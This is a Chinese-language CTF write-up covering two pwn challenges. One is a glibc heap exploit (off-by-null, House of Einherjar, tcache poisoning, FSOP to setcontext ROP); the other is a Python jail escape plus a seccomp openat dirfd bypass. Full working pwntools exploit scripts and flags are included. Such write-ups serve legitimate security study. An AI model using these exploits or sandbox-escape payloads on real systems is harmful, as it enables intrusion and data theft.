  | idx0 : req 0x500 (csz 0x510)  |
  +-------------------------------+
  | idx1 : req 0x500 (csz 0x510)  |
  +-------------------------------+
  | idx2 : req 0x3e8 (csz 0x3f0)  |  <-- A (漏洞操作块)
  +-------------------------------+
  | idx3 : req 0x500 (csz 0x510)  |  <-- B (被 off-null 影响)
  +-------------------------------+
  | idx4 : req 0x500 (csz 0x510)  |  <-- guard
  +-------------------------------+
  ^
  |
高地址

然后分配 idx5~idx11(0x500) 再全部 free,制造可复用大块池,让后续分配来源固定在一段可预测区域,这一步为了稳定

 idx4 后方区域(先占满)
  +------+------+------+------+------+------+------+
  | c5   | c6   | c7   | c8   | c9   | c10  | c11  |
  +------+------+------+------+------+------+------+

  全部 free 后(作为后续 0x500 申请池)
  +------------------------------------------------+
  |         reusable large area (unsorted/top)     |
  +------------------------------------------------+

接着申请/释放 idx12,13,14,15,利用残留内容做 libc+heap 泄漏

create 12,13,14,15 (0x500)
  delete 12
  delete 14

free 次序故意是 12 再 14,中间保留 13 已分配,避免 12/14 直接相邻合并,15的存在是为了避免14与top chunk合并

两个 0x510 free chunk 进 unsorted 后,链可理解成:

unsorted head <-> [chunk14] <-> [chunk12] <-> head

glibc 取 unsorted 时会从一端取(本利用里取回的是 chunk12),
而 free 态 chunk 的 user 前 16 字节就是双向链指针:

chunk12 user +0x00 : fd -> main_arena+偏移 (libc 指针)
chunk12 user +0x08 : bk -> chunk14          (heap 指针)

于是 create(12,0×500, b’ ‘) 重新拿到 chunk12 后,
只写入 1 字节,剩余 0x4ff 字节保持“free 时残留内容”
接着 read(12) 按 0x500 全量输出,就把这两个指针一起漏出来

接着开始重头戏,利用House of Einherjar 思路

通过 edit(io, 2, p),在 idx 2 的开头伪造了 fdbk 指针,并且idx 2 的最末尾(紧挨着 Chunk 3 的地方)写了一个假的 prev_size: 0x3f0,然后通过off by null把idx3的PREV_INUSE清零

+-------------------------+ <--- a_chunk 
| size: 0x3f1 (P=1)       |
+-------------------------+ 
| fd: a_chunk             | \  <-- 伪造的链表指针,用于骗过 glibc 的安全检查
| bk: a_chunk             | / 
| ... 垃圾数据 ...        |
| fake prev_size: 0x3f0   | <--- 填在 idx 2 数据的最后 8 字节
+-------------------------+ <--- Chunk 3 起始地址
| size: 0x500 (P=0)       | <--- 关键漏洞:off by null把Chunk 3 的 P 标志位被清零了!
+-------------------------+

执行delete(io, 3)时,glibc看到p为0,会将 Chunk 2 和 Chunk 3 合并成一个巨大的 Free Chunk

合并后切小块,大 free chunk 被切成多个 0x110 小块后,出现关键状态:

+---------------------------+
| idx2 指向的 A user 区 |
| +-------------------+ |
| | 与 idx10 指向同内存 | <--- alias / overlap
| +-------------------+ |
+---------------------------+

(for i in range(5, 12): create(i, 0x100, …) 这个顺序下,它稳定落在第 6 次分配,所以对应索引正好是 idx10)

idx2的指针还在,可以操控edit 2来修改idx10里的内容,

先 free(idx10),让它进 tcache[0x110],然后通过 idx2 改写这个 free chunk 的 next

注意glibc 有 safe-linking,需要编码:encoded_next = target ^ (a_user >> 12)

再申请两次同尺寸,第一次取回原 chunk,第二次就会返回 target 指向的地址。这一步先把 target 设到 _IO_list_all,写入 fake FILE 指针

最后就是打FSOP 打到 setcontext

题目的退出分支是 exit(0),会触发 _IO_flush_all_lockp。我们把 _IO_list_all 头改成自己伪造的 FILE,让 glibc 在 flush 时遍历到它

结构链和上题差不多:

结构链:

  _IO_list_all
  |
  v
  fake_FILE (at a_user)
  |
  +--> _wide_data ----------> fake_wide
                              |
                              +--> _wide_vtable --> fake_wide_vtble
                                                    |
                                                    +--> __doallocate = setcontext+0x2d

setcontext函数内部有mov rsp, QWORD PTR [rdx+0xa0],会跳转到[rdx+0xa0]执行,但是setcontext结束后会push rcx

我们先把 [rdx+0xa8] 设为 pop rsp; ret,把 [rdx+0xa0] 设到 wide,再在 wide[0] 放真实 ROP 栈地址,就完成二次 pivot栈迁移,避免setcontext结束后push rcx导致rop链损坏

然后执行最终 ROP链的orw读flag就行

EXP

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
context.timeout = 2

BIN = './extracted/chall'
LIBC_PATH = './extracted/libc.so.6'
LD = './extracted/ld-linux-x86-64.so.2'
libc = ELF(LIBC_PATH, checksec=False)


def start():
    if args.REMOTE:
        return remote('chall.0xfun.org', 62698)
    return process([LD, BIN], env={'LD_PRELOAD': LIBC_PATH})


def _tok_int(x):
    s = str(int(x)).encode()
    if len(s) > 13:
        raise ValueError('int token too long')
    return s + b'\n' + b' ' * (15 - len(s) - 1)


def _send_int(io, x):
    io.send(_tok_int(x))


def menu(io, c):
    io.recvuntil(b'> ')
    _send_int(io, c)


def create(io, idx, size, data=b'X'):
    menu(io, 1)
    _send_int(io, idx)
    _send_int(io, size)
    io.recvuntil(b'Data: ')
    io.send(data)


def delete(io, idx):
    menu(io, 2)
    _send_int(io, idx)


def readn(io, idx, size):
    menu(io, 3)
    _send_int(io, idx)
    io.recvuntil(b'Data: ')
    d = io.recvn(size)
    io.recvuntil(b'\n')
    return d


def edit(io, idx, data):
    menu(io, 4)
    _send_int(io, idx)
    io.recvuntil(b'Data: ')
    io.send(data)


def poison_alloc(io, a_user, target, idx_tmp=10, idx_out=5, size=0x100, data=b'Z'):
    # idx2 aliases idx10 in this layout; free idx10, poison next, pop idx10, then pop target
    delete(io, idx_tmp)
    edit(io, 2, p64(target ^ (a_user >> 12)))
    create(io, idx_tmp, size, b'Y')
    create(io, idx_out, size, data)


def build_fake_file(libc_base, fake):
    # Layout inside idx2 chunk (size 0x3e8)
    wide = fake + 0x100
    wvt = fake + 0x1e0
    rop = fake + 0x280
    flag = fake + 0x390
    buf = fake - 0x510      # idx1 user area, keeps read/write away from ROP bytes
    fenv = fake + 0x1d0

    pop_rdi = libc_base + 0x102dea
    pop_rsi = libc_base + 0x53847
    pop_rsp_ret = libc_base + 0x36d45           # pop rsp ; ret
    pop_rax = libc_base + 0x0d4f97              # pop rax ; ret
    pop_rdx = libc_base + 0x126cfa              # pop rdx ; add al,0 ; cmovne rax,rdx ; ret

    open_ = libc_base + libc.sym['open']
    read_ = libc_base + libc.sym['read']
    write_ = libc_base + libc.sym['write']
    exit_ = libc_base + libc.sym['exit']

    setcontext_2d = libc_base + libc.sym['setcontext'] + 0x2d

    p = bytearray(0x3e8)

    # fake FILE core
    p[0x20:0x28] = p64(0)                  # _IO_write_base
    p[0x28:0x30] = p64(1)                  # _IO_write_ptr
    p[0x68:0x70] = p64(0)                  # rdi for setcontext path (unused after pop_rsp)
    p[0x70:0x78] = p64(0)                  # rsi
    # FILE._lock (and setcontext rdx seed) -> valid writable lock object
    p[0x88:0x90] = p64(fake + 0x3d0)
    p[0x98:0xA0] = p64(0)                  # rcx -> cl=0 for pop_rsp side effect
    p[0xA0:0xA8] = p64(wide)               # also used as _wide_data pointer
    p[0xA8:0xB0] = p64(pop_rsp_ret)        # initial RIP after setcontext
    p[0xD8:0xE0] = p64(libc_base + libc.sym['_IO_wfile_jumps'])
    p[0xE0:0xE8] = p64(fenv)               # fldenv source for setcontext+0x2d
    p[0x1C0:0x1C4] = p32(0x1f80)           # mxcsr

    # wide_data required by _IO_wdoallocbuf
    p[0x100 + 0x30:0x100 + 0x38] = p64(0)  # _IO_buf_base == 0 -> force allocation path
    p[0x100 + 0xE0:0x100 + 0xE8] = p64(wvt)

    # wide_vtable __doallocate callback
    p[0x1E0 + 0x68:0x1E0 + 0x70] = p64(setcontext_2d)

    # tiny pivot stack at wide: pop_rsp_ret will take first qword as new rsp
    p[0x100:0x108] = p64(rop)

    # data
    target_path = (args.PATH or '/etc/passwd').encode()
    if len(target_path) > 23:
        raise ValueError('PATH too long (max 23 bytes)')
    p[0x390:0x390 + len(target_path)] = target_path
    p[0x390 + len(target_path):0x390 + len(target_path) + 1] = b'\x00'
    p[0x3d0:0x3d8] = p64(0)                # fake lock word
    rw_len = int(args.SIZE, 0) if args.SIZE else 0x40

    # ROP chain helpers
    chain = bytearray()

    def q(x):
        nonlocal chain
        chain += p64(x)

    def set_rdx_and_call(val, func):
        nonlocal chain
        # Force AL=0 so cmovne in pop_rdx gadget does not clobber RAX.
        q(pop_rax)
        q(0)
        q(pop_rdx)
        q(val)
        q(func)

    # open(PATH, 0)
    q(pop_rdi)
    q(flag)
    q(pop_rsi)
    q(0)
    q(open_)
    set_rdx_and_call(rw_len, pop_rdi)
    q(3)
    q(pop_rsi)
    q(buf)
    q(read_)

    set_rdx_and_call(rw_len, pop_rdi)
    q(1)
    q(pop_rsi)
    q(buf)
    q(write_)

    # exit(0)
    q(pop_rdi)
    q(0)
    q(exit_)

    p[0x280:0x280 + len(chain)] = chain

    return bytes(p)


def exploit(io):
    # deterministic heap shaping + leaks
    create(io, 0, 0x500, b'A')
    create(io, 1, 0x500, b'B')
    create(io, 2, 0x3e8, b'C')
    create(io, 3, 0x500, b'D' * (0x500 - 8) + p64(0x21))
    create(io, 4, 0x500, p64(0) + p64(1) + b'E' * (0x500 - 16))

    for i in range(5, 12):
        create(io, i, 0x500, bytes([i]))
    for i in range(5, 12):
        delete(io, i)

    create(io, 12, 0x500, b'L')
    create(io, 13, 0x500, b's')
    create(io, 14, 0x500, b'M')
    create(io, 15, 0x500, b'g')
    delete(io, 12)
    delete(io, 14)

    create(io, 12, 0x500, b' ')
    leak = readn(io, 12, 0x500)

    libc_base = u64(leak[:8]) - 0x1e7b20
    heap_base = u64(leak[8:16]) - 0x4f30
    a_chunk = heap_base + 0x3700
    a_user = a_chunk + 0x10

    log.success(f'libc_base = {libc_base:#x}')
    log.success(f'heap_base = {heap_base:#x}')
    log.success(f'a_chunk  = {a_chunk:#x}')

    # Einherjar -> idx2 aliases idx10
    p = p64(a_chunk) + p64(a_chunk)
    p = p.ljust(0x3e0, b'P') + p64(0x3f0)
    edit(io, 2, p)
    delete(io, 3)

    for i in range(5, 12):
        create(io, i, 0x100, b'T')
    create(io, 3, 0x100, b'Q')

    # ensure idx5 is free for later target allocations
    delete(io, 5)

    # overwrite _IO_list_all -> fake FILE at a_user
    io_list_all = libc_base + libc.sym['_IO_list_all']
    poison_alloc(io, a_user, io_list_all, idx_tmp=10, idx_out=5, size=0x100, data=p64(a_user))

    # install fake FILE/ucontext/ROP in idx2 (A chunk)
    fake_payload = build_fake_file(libc_base, a_user)
    edit(io, 2, fake_payload[:-1])

    # trigger flush path
    menu(io, 5)


def main():
    io = start()
    exploit(io)
    out = io.recvrepeat(2)
    if out:
        print(out.decode('latin-1', 'ignore'))
    if args.INTERACTIVE:
        io.interactive()


if __name__ == '__main__':
    main()

0xfun{null_byt3_p01s0n_t0_h3ap_c0ns0l1d4t10n}

Warden

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
FORTIFY:    Enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

难得见到IBT和SHSTK也开了,这题是一个组合题,前半段是 Python jail 逃逸,后半段是 seccomp user notification 逻辑绕过,而且远程似乎有个毛病,在 nc 中 根据操作提示Ctrl+D 没有任何作用,导致不能eof卡了很久

这道题需要先逃出 jail.py 的 Python 沙箱,拿回 __import__ 能力

再利用 warden.copenat 检查逻辑的语义漏洞,读到 /flag

先看 jail.py 的入口 run_jail()

  • code = sys.stdin.read(MAX_CODE_SIZE),也就是最多读 8192 字节,读到 EOF 才会结束,或者正好读满 8192 字节也会返回。
  • if len(code) >= MAX_CODE_SIZE 直接拒绝,所以有效 payload 必须 < 8192
  • 代码会先走 AST 校验 JailValidator().visit(tree),通过后再 exec(compiled, namespace)
  • 执行环境里 __builtins__ 被替换成 SAFE_BUILTINS,没给 open__import__evalexec 这些危险入口。

再看 warden.c 的主流程 main()

  • fork() 后子进程安装 seccomp 过滤器,拿到 notification fd,通过 unix socket 传给父进程。
  • 子进程 drop 到 uid=1000/gid=1000execvp(argv[1], &argv[1]),也就是执行 python3 jail.py
  • 父进程进入 supervisor_loop(),用 SECCOMP_IOCTL_NOTIF_RECV/SEND 处理每个被拦截 syscall。

supervisor_loop() 里最重要的是 openat 分支,进入 handle_openat(),这里就是漏洞发生点

static void handle_openat(struct seccomp_notif *req,
                           struct seccomp_notif_resp *resp) {
    char path_buf[PATH_BUFLEN];
    uint64_t path_ptr = req->data.args[1];

    if (read_tracee_string(req->pid, path_ptr, path_buf, sizeof(path_buf)) < 0) {
        resp->error = -EACCES;
        resp->flags = 0;
        return;
    }

    if (is_path_blocked(path_buf)) {
        fprintf(stderr, "[warden] BLOCKED openat: %s (pid %d)\n",
                path_buf, req->pid);
        resp->error = -EACCES;
        resp->flags = 0;
        return;
    }

    resp->flags = SECCOMP_USER_NOTIF_FLAG_CONTINUE;
    resp->error = 0;
    resp->val   = 0;
}

handle_openat() 的逻辑是:

  • 从 tracee 内存读出 openat 的路径参数到 path_buf
  • is_path_blocked(path_buf),只要前缀命中 "/flag""/root""/etc/shadow" 等就拒绝。
  • 如果没命中,直接 SECCOMP_USER_NOTIF_FLAG_CONTINUE 放行。

问题在于 openat 的语义是 openat(dirfd, path, ...)path 可以是相对路径,此时真正访问位置由 dirfd 决定。这里的检查只看了 path 字符串,没有看 dirfd

这意味着可以这样绕:

  • open("/") 拿到目录 fd,比如 rootfd=3
  • openat(rootfd, "flag", O_RDONLY, 0)
  • warden 看到的路径字符串只是 "flag",不以 "/flag" 开头,检查通过。
  • 内核真实解析的是 "/" + "flag",最终打开的就是 /flag
+---------------------+
|  用户提交Python代码  |
+----------+----------+
           |
           v
+---------------------+
|  jail.py AST检查     |
|  禁 import/__ 等      |
+----------+----------+
           |
           | (通过对象链恢复 __import__)
           v
+---------------------+
|  拿到 os + ctypes    |
|  可直接 syscall      |
+----------+----------+
           |
           | syscall(257, rootfd, "flag", 0, 0)
           v
+---------------------+
| warden handle_openat |
| 只检查 path="flag"    |
+----------+----------+
           |
           | CONTINUE
           v
+---------------------+
| 内核按 dirfd 解析路径 |
| 实际打开 /flag        |
+----------+----------+
           |
           v
+---------------------+
| os.read(fd) 输出flag |
+---------------------+

难点是 jail.py 禁了 import、禁了双下划线字符串字面量、禁了直接访问下划线属性。要做的是在 AST 规则下恢复 __import__,再拿到 osctypes

典型链条是:

  • u = chr(95)*2 动态构造 "__",避免源码里出现双下划线字面量。
  • () 出发做对象遍历:().__class__.__base__.__subclasses__()
  • 找到 warnings.catch_warnings 这个类。
  • 通过 catch_warnings.__init__.__globals__ 拿到全局字典。
  • __builtins__['__import__'] 取回导入能力。
  • 导入 osctypes,直接发系统调用。

本质上是“对象图 gadget 链”,本题最关键的 gadget 是 catch_warnings -> __init__ -> __globals__ -> __builtins__ -> __import__

EXP

#!/usr/bin/env python3
from pwn import *
import sys
import time

HOST = "chall.0xfun.org"
PORT = 22719

PAYLOAD = r"""
u=chr(95)*2
b=getattr(getattr((),u+'class'+u),u+'base'+u)
s=getattr(b,u+'subclasses'+u)()
for c in s:
    if getattr(c,u+'name'+u)=='catch_warnings':
        cw=c
        break
g=getattr(getattr(cw,u+'init'+u),u+'globals'+u)
imp=g[u+'builtins'+u][u+'import'+u]
os=imp('os')
ct=imp('ctypes')
libc=ct.CDLL(None)
# Intended bypass: warden checks only the pathname string, not dirfd.
rootfd=os.open('/',0)
fd=libc.syscall(257,rootfd,ct.c_char_p(b'flag'),0,0)
if fd<0:
    # Fallback for environments where openat path policy changes.
    how=(ct.c_ulonglong*3)(0,0,0)
    fd=libc.syscall(437,-100,ct.c_char_p(b'/flag'),ct.byref(how),ct.sizeof(how))
if fd>=0:
    print(os.read(fd,0x200).decode(),flush=True)
""".lstrip().encode()


def start():
    host = HOST
    port = PORT
    if len(sys.argv) >= 2 and sys.argv[1] not in ("LOCAL",):
        host = sys.argv[1]
    if len(sys.argv) >= 3:
        port = int(sys.argv[2])

    if args.LOCAL:
        return process(["./warden", "/usr/bin/python3", "jail.py"])
    return remote(host, port)


def run_once(mode):
    io = start()
    try:
        io.recvuntil(b"Terminate with EOF (Ctrl+D).", timeout=5)
        io.recv(timeout=0.2)

        if mode == "shutdown":
            io.send(PAYLOAD)
            time.sleep(0.2)
            io.shutdown("send")
        elif mode == "eot":
            io.send(PAYLOAD + b"\n\x04")
        elif mode == "double-eot":
            io.send(PAYLOAD + b"\n\x04\x04")
        else:
            raise ValueError(f"unknown mode: {mode}")

        data = io.recvrepeat(5)
        return data
    except EOFError:
        return b""
    finally:
        io.close()


def main():
    # Different transport paths treat EOF differently; try several.
    modes = ["shutdown", "eot", "double-eot"]
    for mode in modes:
        data = run_once(mode)
        print(f"[{mode}]")
        print(data.decode("utf-8", errors="replace"))
        if b"flag{" in data.lower() or b"0xfun{" in data.lower():
            break


if __name__ == "__main__":
    main()

0xfun{wh0_w4tch3s_th3_w4rd3n_t0ctou_r4c3}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇